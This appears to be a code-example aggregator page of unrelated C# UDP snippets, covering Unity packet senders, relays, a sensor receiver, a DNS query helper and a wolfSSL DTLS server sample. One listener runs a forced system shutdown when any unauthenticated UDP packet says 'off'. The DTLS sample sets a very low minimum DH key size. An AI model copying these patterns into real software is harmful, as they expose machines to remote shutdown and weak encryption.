        int length = Mathf.Min(size_max_packet, taille_tab_final-readCount);//les dernier bit <= size_max_packet ??
        int ii=0;
        //DatagramPacket=null;
        byte[] DatagramPacket = new byte[length];
        for (int ik=readCount;ik<(readCount+length);ik++){ DatagramPacket[ii]=byteImgS[ik]; if(ii==12)Debug.Log(DatagramPacket[ii]+"/"+byteImgS[ik]); ii++; }

                 try
          		 	{
                        Debug.Log("DatagramPacket:"+DatagramPacket[10]+DatagramPacket[11]+DatagramPacket[12]);//+"/RD:"+readCount+"/len:"+length);

              		 client.Send(DatagramPacket,length, remoteEndPoint);
              		 client.Close();
                    //clientAvailableTime=0.1f;
                    //countclientAvailableTime=true;
                        readCount += length;

                    }  catch (Exception err) { Debug.Log(err.ToString()); }

        }//	else countclientAvailableTime=false;

        //if(clientAvailableTime<0){}else {Debug.Log("waiiiiiiiiiiiiiit");}
        //countclientAvailableTime=true;
    }
Ejemplo n.º 51
0
    public static int Main()
    {
        bool done = false;
        Console.Write("Enter a port number: ");
        string userInput = Console.ReadLine();
        Int32.TryParse(userInput, out listenPort);
        try
        {
            UdpClient listener = new UdpClient(listenPort);
            IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, listenPort);

            string received_data;
            byte[] receive_byte_array;
            try
            {

                while (!done)
                {

                    Console.Write("\n\nYou are listening for udp messages on port number " + listenPort + "\n\n");
                    Console.WriteLine("Waiting for broadcast");
                    // this is the line of code that receives the broadcase message.
                    // It calls the receive function from the object listener (class UdpClient)
                    // It passes to listener the end point groupEP.
                    // It puts the data from the broadcast message into the byte array
                    // named received_byte_array.
                    // I don't know why this uses the class UdpClient and IPEndPoint like this.
                    // Contrast this with the talker code. It does not pass by reference.
                    // Note that this is a synchronous or blocking call.
                    receive_byte_array = listener.Receive(ref groupEP);
                    Console.WriteLine("Received a broadcast from {0}", groupEP.ToString());
                    received_data = Encoding.ASCII.GetString(receive_byte_array, 0, receive_byte_array.Length);
                    switch (received_data)
                    {
                        case "do"        : keybd_event((byte)Keys.VolumeDown, 0, 0, 0);
                                           break;// decrease volume
                        case "up"        : keybd_event((byte)Keys.VolumeUp, 0, 0, 0);
                                           break; // increase volume
                        case "mu"        : keybd_event((byte)Keys.VolumeMute, 0, 0, 0);
                                           break; // mute volume
                        case "off"       : Process.Start("shutdown", "/s /t 0 /f");
                                           break;// pause
                        case "sleep"     : SetSuspendState(false, true, true);
                                           break;
                        case "hibermate" : SetSuspendState(true, true, true);
                                           break;
                        default: break;
                    }
                    Console.WriteLine("data follows \n{0}\n\n", received_data);
                }
            }
            catch (Exception e)
            {
                Console.WriteLine(e.ToString());
            }
            listener.Close();
            return 0;
        }
        catch(Exception e)
        {
            Console.Write("\n" +e.Message);
            Console.Write("\n\n" + e.InnerException);
            Console.Write("\n\nYou selected a port that don't exist or a port that is being used.\nPlease try a higher port number. You can select any value from 0-65535");
            Console.ReadLine();
        }
        return 0;
    }
Ejemplo n.º 52
0
    private static void SendMes(string datagram)
    {
        // Создаем UdpClient
        UdpClient sender = new UdpClient();

        // Создаем endPoint по информации об удаленном хосте
        IPEndPoint endPoint = new IPEndPoint(remoteIPAddress, remotePort);

        try
        {
            // Преобразуем данные в массив байтов
            byte[] bytes = Encoding.UTF8.GetBytes(datagram);

            // Отправляем данные
            sender.Send(bytes, bytes.Length, endPoint);
        }
        catch (Exception ex)
        {
            Console.WriteLine("Возникло исключение: " + ex.ToString() + "\n  " + ex.Message);
        }
        finally
        {
            // Закрыть соединение
            sender.Close();
        }
    }
    public static void SendString(string message)
    {
        try
           {

                remoteEndPoint = new IPEndPoint(IPAddress.Broadcast, GameData.port);
                server = new UdpClient();
                byte[] DatagramPacket;
            switch(GameData.encodingMethod){
            case encoding.Default:			DatagramPacket = Encoding.Default.GetBytes(message);
                                            break;
            case encoding.UTF7:				DatagramPacket = Encoding.UTF7.GetBytes(message);
                                            break;
            case encoding.UTF8:				DatagramPacket = Encoding.UTF8.GetBytes(message);
                                            break;
            case encoding.UTF32:				DatagramPacket = Encoding.UTF32.GetBytes(message);
                                            break;
            case encoding.ASCII:				DatagramPacket = Encoding.ASCII.GetBytes(message);
                                            break;
            case encoding.BigEndianUnicode:	DatagramPacket = Encoding.BigEndianUnicode.GetBytes(message);
                                            break;
            default :						DatagramPacket = Encoding.UTF8.GetBytes(message);
                                            break;

            }
                 Status=("Message Sended");
               server.Send(DatagramPacket, DatagramPacket.Length, remoteEndPoint);
               server.Close();

           }
           catch (Exception err) { Status=(err.ToString()); }
    }
Ejemplo n.º 54
0
    // Actually builds, sends, sets the received bytes and returns the whole packet
    private EDNSPacket SendUdpNetworkPacket(string sDNSIP, string sIPToResolve, int nPort, byte bType, bool bEDNS, byte[] bMachine_ID)
    {
        // Create empty EDNS packet
        EDNSPacket Packet = new EDNSPacket();

        try
        {
            IPEndPoint Endpoint = new IPEndPoint(IPAddress.Parse(sDNSIP), nPort);

            // Send the current machine_id host
            if (bEDNS)
                Packet.CreateEDNSPacketMachineID(sIPToResolve, bType, bMachine_ID);
            else
                Packet.CreateDNSPacket(sIPToResolve, bType);

            if (Packet.GetPacketLen() > 0)
            {
                // Create a udp client to send the packet
                UdpClient udpGo = new UdpClient();
                udpGo.Client.SendTimeout = 2000;
                udpGo.Client.ReceiveTimeout = 2000;
                udpGo.Send(Packet.GetPacket(), Packet.GetPacket().Length, Endpoint);

                //IPEndPoint object will allow us to read datagrams sent from any source.
                IPEndPoint RemoteIpEndPoint = new IPEndPoint(IPAddress.Any, 0);

                // Launch Asynchronous
                IAsyncResult iarResult = udpGo.BeginReceive(null, null);

                // Wait until complete
                bool bKill = false;
                DateTime dtTimeStart = DateTime.Now;
                while (iarResult.IsCompleted == false)
                {
                    // Sleep instead of cycling
                    System.Threading.Thread.Sleep(100);

                    // Watchdog, if doesn't return in 5 seconds get out
                    if (dtTimeStart.AddSeconds(5) < DateTime.Now)
                    {
                        bKill = true;
                        break;
                    }
                }

                // This can hang when not happy about a broken connection
                if (bKill)
                    udpGo.Close();
                else
                    Packet.SetReceivePacket(udpGo.EndReceive(iarResult, ref RemoteIpEndPoint));
            }
        }
        catch (Exception Ex)
        {
            // TODO: Log an exception?
        }

        // Always just return packet
        return Packet;
    }
    //    IEnumerator sendByteTimed(){
    void sendByteTimed()
    {
        int size_max_packet = 1024; // Taille max des paquets

        int taille_tab_final=byteImgS.Length;
        gameObject.SendMessage("tailleTemps",taille_tab_final);

        while (readCount<taille_tab_final-1) {

                //yield return new WaitForEndOfFrame();
            client = new UdpClient();
            //yield return new WaitForSeconds (0.12f);
        int length = Mathf.Min(size_max_packet, taille_tab_final-readCount);//les dernier bit <= size_max_packet ??
        int ii=0;

        byte[] DatagramPacket = new byte[length];
        float[]	DatagramPacketfloat = new float[length];
        for (int ik=readCount;ik<(readCount+length);ik++){
                //DatagramPacketfloat[ii]=(byteImgS[ik]);

                //DatagramPacket[ii]=byte.Parse((""+(byteImgS[ik])).ToString());

                float az1=(byteImgS[ik]);
                //DatagramPacket[ii]=(byte)(Mathf.Ceil(az1));
                DatagramPacket[ii]=(byte)(az1);

                //	if(ii==2)Debug.Log(DatagramPacket[ii]+"/"+az1);
                ii++; }

            //DatagramPacket = MessageDataSound.ToByteArray(DatagramPacketfloat);
            //	Debug.Log(DatagramPacket[2]+DatagramPacket[3]);
                 try
          		 	{
                        Debug.Log("DatagramPacket:"+DatagramPacket[10]+DatagramPacket[11]+DatagramPacket[12]);//+"/RD:"+readCount+"/len:"+length);

              		 client.Send(DatagramPacket,length, remoteEndPoint);
              		 client.Close();
                        readCount += length;

                    }  catch (Exception err) { Debug.Log(err.ToString()); }

        }
    }
Ejemplo n.º 56
0
    public static void Main(string[] args)
    {
        IntPtr ctx;
        IntPtr ssl;

        /* These paths should be changed for use */
        string fileCert = @"server-cert.pem";
        string fileKey = @"server-key.pem";
        StringBuilder dhparam = new StringBuilder("dh2048.pem");

        StringBuilder buff = new StringBuilder(1024);
        StringBuilder reply = new StringBuilder("Hello, this is the wolfSSL C# wrapper");

        //example of function used for setting logging
        wolfssl.SetLogging(standard_log);

        wolfssl.Init();

        Console.WriteLine("Calling ctx Init from wolfSSL");
        ctx = wolfssl.CTX_dtls_new(wolfssl.useDTLSv1_2_server());
        if (ctx == IntPtr.Zero)
        {
            Console.WriteLine("Error creating ctx structure");
            wolfssl.CTX_free(ctx);
            return;
        }

        Console.WriteLine("Finished init of ctx .... now load in cert and key");
        if (!File.Exists(fileCert) || !File.Exists(fileKey))
        {
            Console.WriteLine("Could not find cert or key file");
            wolfssl.CTX_free(ctx);
            return;
        }

        if (wolfssl.CTX_use_certificate_file(ctx, fileCert, wolfssl.SSL_FILETYPE_PEM) != wolfssl.SUCCESS)
        {
            Console.WriteLine("Error setting cert file");
            wolfssl.CTX_free(ctx);
            return;
        }

        if (wolfssl.CTX_use_PrivateKey_file(ctx, fileKey, wolfssl.SSL_FILETYPE_PEM) != wolfssl.SUCCESS)
        {
            Console.WriteLine("Error setting key file");
            wolfssl.CTX_free(ctx);
            return;
        }

        short minDhKey = 128;
        wolfssl.CTX_SetMinDhKey_Sz(ctx, minDhKey);

        IPAddress ip = IPAddress.Parse("0.0.0.0");
        UdpClient udp = new UdpClient(11111);
        IPEndPoint ep = new IPEndPoint(ip, 11111);
        Console.WriteLine("Started UDP and waiting for a connection");

        ssl = wolfssl.new_ssl(ctx);
        if (ssl == IntPtr.Zero)
        {
            Console.WriteLine("Error creating ssl object");
            wolfssl.CTX_free(ctx);
            return;
        }

        if (wolfssl.SetTmpDH_file(ssl, dhparam, wolfssl.SSL_FILETYPE_PEM) != wolfssl.SUCCESS)
        {
            Console.WriteLine("Error in setting dhparam");
            Console.WriteLine(wolfssl.get_error(ssl));
            udp.Close();
            clean(ssl, ctx);
            return;
        }

        if (wolfssl.set_dtls_fd(ssl, udp, ep) != wolfssl.SUCCESS)
        {
            Console.WriteLine(wolfssl.get_error(ssl));
            udp.Close();
            clean(ssl, ctx);
            return;
        }

        if (wolfssl.accept(ssl) != wolfssl.SUCCESS)
        {
            Console.WriteLine(wolfssl.get_error(ssl));
            udp.Close();
            clean(ssl, ctx);
            return;
        }

        /* print out results of TLS/SSL accept */
        Console.WriteLine("SSL version is " + wolfssl.get_version(ssl));
        Console.WriteLine("SSL cipher suite is " + wolfssl.get_current_cipher(ssl));

        /* get connection information and print ip - port */
        wolfssl.DTLS_con con = wolfssl.get_dtls_fd(ssl);
        Console.Write("Connected to ip ");
        Console.Write(con.ep.Address.ToString());
        Console.Write(" on port ");
        Console.WriteLine(con.ep.Port.ToString());

        /* read information sent and send a reply */
        if (wolfssl.read(ssl, buff, 1023) < 0)
        {
            Console.WriteLine("Error reading message");
            Console.WriteLine(wolfssl.get_error(ssl));
            udp.Close();
            clean(ssl, ctx);
            return;
        }
        Console.WriteLine(buff);

        if (wolfssl.write(ssl, reply, reply.Length) != reply.Length)
        {
            Console.WriteLine("Error writing message");
            Console.WriteLine(wolfssl.get_error(ssl));
            udp.Close();
            clean(ssl, ctx);
            return;
        }

        Console.WriteLine("At the end freeing stuff");
        udp.Close();
        wolfssl.shutdown(ssl);
        clean(ssl, ctx);
    }
    void DoRelay()
    {
        UdpClient client = new UdpClient (setPort);
        client.Client.ReceiveTimeout = 300; // msec
        client.Client.Blocking = false;

        int portToReturn = 31415; // is set dummy value at first
        while (ToggleComm.isOn) {
            try {
                IPEndPoint anyIP = new IPEndPoint(IPAddress.Any, 0);
                byte[] data = client.Receive(ref anyIP);
                string text = Encoding.ASCII.GetString(data);

                if (text.Length == 0) {
                    Thread.Sleep(20);
                    continue;
                }

                if (text.Contains(kExportCommand)) {
                    exportData(ref client, ref anyIP);
                    continue;
                }

                string fromIP = anyIP.Address.ToString();
                int fromPort = anyIP.Port;

                // send to the other
                if (fromIP.Equals(ipadr1)) {
                    portToReturn = fromPort; // store the port used in the "else" clause

                    list_comm_time.Add(System.DateTime.Now);
                    list_comm_string.Add("tx," + text);

                    client.Send(data, data.Length, ipadr2, setPort);
                    DebugPrintComm("1 ", fromIP, fromPort, ipadr2, setPort);
                } else {
                    // delay before relay
                    Thread.Sleep(delay_msec);

                    list_comm_time.Add(System.DateTime.Now);
                    list_comm_string.Add("rx," + text);

                    client.Send(data, data.Length, ipadr1, portToReturn);
                    DebugPrintComm("2 ", fromIP, fromPort, ipadr1, portToReturn);
                }
            }
            catch (Exception err) {

            }
            // without this sleep, on android, the app will freeze at Unity splash screen
            Thread.Sleep(200);
        }
        client.Close ();
    }
Ejemplo n.º 58
0
    /// <summary>
    /// ReceiveData function receives a string via udp represents phone's sensors data
    /// It finds the appropiate acceleration data for linear acceleration sensor (x,y,z axis)
    /// Recognizes the trigger to start & end pattern's data saving and then calls IsGesture to recognize the most matched magic
    /// </summary>
    private void ReceiveData()
    {
        List<double> xValues = new List<double>(); //will store the x-axis accelerations of the received pattern
        List<double> yValues = new List<double>(); //will store the y-axis accelerations of the received pattern
        double xAcceleration = 0, yAcceleration = 0, zAcceleration = 0; //represents the receive acceleration of each axis
        bool isStarted = false; // the state of pattern: if started - saves data, otherwise waits for a trigger
        client = new UdpClient(port); // creates a udpclient with the specific port to communicate with phone
        IPEndPoint groupEP = new IPEndPoint(IPAddress.Any, port);
        try
        {
            while (true)
            {
                // receive bytes
                byte[] bytes = client.Receive(ref groupEP);
                string[] sensors = Encoding.ASCII.GetString(bytes, 0, bytes.Length).Split(',');
                int linearIndex = 0;
                //finds the index of the linear acceleration in the receive udp msg
                for (int i = 0; i < sensors.Length; i++)
                    if (sensors[i].Equals(" 82")) linearIndex = i;
                //save the values of the accelerations in the 3 axis. linearIndex +1/+2/+3 is the x/y/z axis acceleration
                xAcceleration = Convert.ToDouble(sensors[linearIndex + 1]);
                yAcceleration = Convert.ToDouble(sensors[linearIndex + 2]);
                zAcceleration = Convert.ToDouble(sensors[linearIndex + 3]);

                if (linearIndex != 0)
                {

                    if (zAcceleration > 7 && isStarted && xValues.Count > 10) //if already started (means saved data into lists) and the finish trigger is recognized & pattern's length > 10 = start recognizing the pattern
                    {
                        print("finish");
                        isStarted = false;
                        IsGesture(xValues, yValues); //After done storing pattern's data - tries to recognize it
                        xValues.Clear(); //Clears the lists
                        yValues.Clear();
                    }
                    else if (zAcceleration < -7 && !isStarted)
                    {
                        print("start");
                        xValues.Clear(); //Clears the lists (A new fresh pattern)
                        yValues.Clear();
                        isStarted = true; //Changes the bool variable to true, means started to save pattern's accelerations
                    }
                    else if (isStarted) // if started --> save data into lists
                    {
                        xValues.Add(xAcceleration);
                        yValues.Add(yAcceleration);
                    }
                }
            }
        }
        catch (Exception e)
        {
            print(e.ToString());
        }
        finally
        {
            client.Close();
        }
    }
    bool DoRelay()
    {
        UdpClient client = new UdpClient (setPort);
        client.Client.ReceiveTimeout = 300; // msec
        client.Client.Blocking = false;

        bool open232c = MyRs232cUtil.Open (ipadr2, out mySP);
        mySP.ReadTimeout = 1;

        s_commStatus = ipadr2 + " open";
        if (open232c == false) {
            s_commStatus = ipadr2 + " open fail";
            return false;
        }
        //		mySP.Write(">");

        string udpString = "";
        while (ToggleComm.isOn) {
            returnType res2 = handleRs232c(ref mySP, ref client, udpString, s_portToReturn);
            if (res2 == returnType.Continue) {
                continue;
            }

            int tmpPort = 0;
            returnType res1 = handleUdp(ref client, out udpString, out tmpPort);
            if (tmpPort > 0) {
                s_portToReturn = tmpPort;
            }
            if (res1.Equals(returnType.Continue)
                && res2.Equals(returnType.Continue)) {
                Thread.Sleep(2);
                continue;
            }

            // without this sleep, on android, the app will freeze at Unity splash screen
            Thread.Sleep(200);
        }
        client.Close ();
        MyRs232cUtil.Close (ref mySP);

        return true;
    }
Ejemplo n.º 60
-25
    private void FuncRcvData()
    {
        client = new UdpClient (port);
        client.Client.ReceiveTimeout = 300; // msec
        client.Client.Blocking = false;
        while (stopThr == false) {
            try {
                IPEndPoint anyIP = new IPEndPoint(IPAddress.Any, 0);
                byte[] data = client.Receive(ref anyIP);
                string text = Encoding.ASCII.GetString(data);
                lastRcvd = text;

                if (lastRcvd.Length > 0) {
                    Thread.Sleep(delay_msec);
                    client.Send(data, data.Length, anyIP); // echo
                }
            }
            catch (Exception err)
            {
                //              print(err.ToString());
            }

            // without this sleep, on adnroid, the app will not start (freeze at Unity splash)
            Thread.Sleep(20); // 200
        }
        client.Close ();
    }